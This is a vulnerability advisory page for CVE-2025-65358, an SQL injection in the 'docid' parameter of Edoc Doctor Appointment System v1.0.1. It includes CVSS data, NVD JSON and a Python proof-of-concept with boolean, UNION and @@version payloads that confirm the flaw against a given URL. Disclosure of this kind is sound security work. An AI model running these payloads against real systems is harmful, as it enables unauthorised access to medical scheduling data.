Security Vulnerability Report
中文
CVE-2025-65358 CVSS 9.8 CRITICAL

CVE-2025-65358

Published: 2025-12-02 17:16:07
Last Modified: 2025-12-03 20:22:30

Description

Edoc-doctor-appointment-system v1.0.1 was discovered to contain SQl injection vulnerability via the 'docid' parameter at /admin/appointment.php.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:hashenudara:edoc-doctor-appointment-system:1.0.1:*:*:*:*:*:*:* - VULNERABLE
Edoc Doctor Appointment System v1.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-65358 SQL Injection PoC # Target: Edoc Doctor Appointment System v1.0.1 # Endpoint: /admin/appointment.php # Vulnerable Parameter: docid def test_sql_injection(url): """Test for SQL injection vulnerability in docid parameter""" target_url = f"{url}/admin/appointment.php" # Basic boolean-based injection test payload_true = "1' AND 1=1 -- -" payload_false = "1' AND 1=2 -- -" print(f"[*] Testing SQL injection on {target_url}") print(f"[*] Vulnerable parameter: docid") # Test true condition params = {'docid': payload_true} try: response = requests.get(target_url, params=params, timeout=10) print(f"[+] True condition response length: {len(response.text)}") # Test false condition params['docid'] = payload_false response = requests.get(target_url, params=params, timeout=10) print(f"[+] False condition response length: {len(response.text)}") # Union-based injection to extract database info union_payload = "1' UNION SELECT 1,2,3,4,5,6,7,8 -- -" params['docid'] = union_payload response = requests.get(target_url, params=params, timeout=10) print(f"[+] Union injection response length: {len(response.text)}") # Extract database version version_payload = "1' UNION SELECT 1,@@version,3,4,5,6,7,8 -- -" params['docid'] = version_payload response = requests.get(target_url, params=params, timeout=10) if '5.' in response.text or '8.' in response.text: print(f"[!] Database version detected - Vulnerability confirmed!") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') test_sql_injection(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65358", "sourceIdentifier": "[email protected]", "published": "2025-12-02T17:16:06.560", "lastModified": "2025-12-03T20:22:29.533", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Edoc-doctor-appointment-system v1.0.1 was discovered to contain SQl injection vulnerability via the 'docid' parameter at /admin/appointment.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hashenudara:edoc-doctor-appointment-system:1.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "D27385E1-8A64-47D3-84AD-35C78EFD0EDD"}]}]}], "references": [{"url": "https://github.com/HashenUdara/edoc-doctor-appointment-system", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/omkaryepre/vulnerability-research/tree/main/CVE-2025-65358", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}